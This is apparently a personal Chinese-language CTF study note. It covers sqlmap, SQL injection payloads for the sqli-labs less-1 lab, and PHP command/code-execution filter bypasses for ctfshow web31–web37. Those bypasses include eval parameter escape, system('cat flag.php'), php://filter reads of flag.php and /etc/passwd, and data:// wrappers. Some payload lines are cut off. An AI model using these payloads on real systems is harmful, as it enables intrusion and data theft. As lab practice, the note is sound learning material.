2021/7/6
sql注入
sqlmap使用
需要python2.7环境
- 需要python时说明python2或者Python3
输入python sqlmap.py
+命令行
sqli-labs
less-1
字符型注入
url/?id=1' order by 4#
直接输入无效就用url编码(要构造#闭合)
url/?id=1%27%20order%20by%204%23
依次尝试 验证有3列
获取数据库名称
url/?id=' union select null,database(),3#
获取全部数据库名称
url/?id=' union select null,(select group_concat(schema_name) from information_schema.schemata),null#
url/?id='union select null,null,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
tamadexiebuxiaqulekaishikanyufa
命令执行
命令执行和代码执行的区别
代码执行: 将用户输入作为系统命令的参数拼接到系统命令中
代码执行漏洞是把代码注入到Web服务器中执行,而命令执行漏洞执行的系统命令。主要有两种产生原因:代码执行函数和动态函数执行,在php中还存在双引号执行的情况。常见的导致代码执行的函数有:eval()、assert()、preg_replace()、call_user_func()、array_map()
命令执行:将用户输入作为系统命令的参数拼接到系统命令中
相比较代码执行漏洞,命令执行漏洞的危害更大,它所执行的命令会继承WebServer的权限,也就是说可以任意读取、修改、执行Web目录下的任何文件。能够进行命令执行的php函数一共有七个,分别是:system()、exec()、shell_exec()、passthru()、pcntl_exec()、popen()、proc_open(),除函数外,倒引号(这里用反向单引号)内的内容也可以进行命令执行
https://www.cnblogs.com/richardlee97/p/10627432.html
web31
过滤逐渐变态
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}
//模式分隔符后的”i”标记这是一个大小写不敏感的搜索
/?c=show_source**(next(array_reverse(scandir(pos(**localeconv())))));
这个是真离谱
/?c=echo%09
tac%09*
; //注意绕过空格 %20(space)可以用%09(tab)代替ctfshow标答
- url//?c=eval($_GET[1]);&1=phpinfo();//让1这个参数逃逸出去 所有被ban的字符都可以使用
- url/?c=eval($_GET[1]);&1=system(‘cat flag.php’);
- 查看源代码 //用tac可以不用查看源代码直接查看
web32
url/?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
因为分号引号空格括号等等都被ban了 用include代替(文件包含)%0a代表换行
get实现参数逃逸 (可以先用&1=/etc/passwd验证)
php://filter/convert.base64-encode/resource=路劲hackbar插件里有(LFI–Using wrappers)
得到一长串字符 hackbar base64解码得到flag
web33
多屏蔽了一个双引号
上一题的方法依然可用 发现甚至可以不加%0a换行
url/?c=require$_GET[1]?>&1=/etc/passwd 验证可行
/?c=require$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
得到字符串 base64转码 得到flag
require() 语句的性能与 include() 相类似,都是包括并运行指定文件。require() 和 include() 语句是语言结构,不是真正的函数,可以像 php 中其他的语言结构一样,例如 echo() 可以使用 echo(“ab”) 形式,也可以使用 echo “abc” 形式输出字符串 abc。require() 和 include() 语句也可以不加圆括号而直接加参数。
GET里的参数外的引号可以不加 向下兼容
web34
web35
web36
同上。35新增屏蔽了左尖括号< 没有影响
36新增屏蔽数字 –>把参数1换成字母就行
web37
用了include包含参数c 这意味着代码不会直接执行
比如``url/?c=_GET[1]&1=flag.php`(不需要分号)无法执行
eval() — 把字符串作为PHP代码执行 return
语句会立即中止当前字符串的执行。
php include($file) 和 eval(get_file_contents($file)) 作用相似
url/?c=?page=php://filter/convert.base64-encode/resource=flag.php 不行 包含flag和php
url/?c=data://text/plain,
data伪协议 将后面语句作为代码执行 –> 验证可行
url/?c=data://text/plain,
或者 url/?c=data://text/plain, 然后url/1.txt //必要时可以base64编码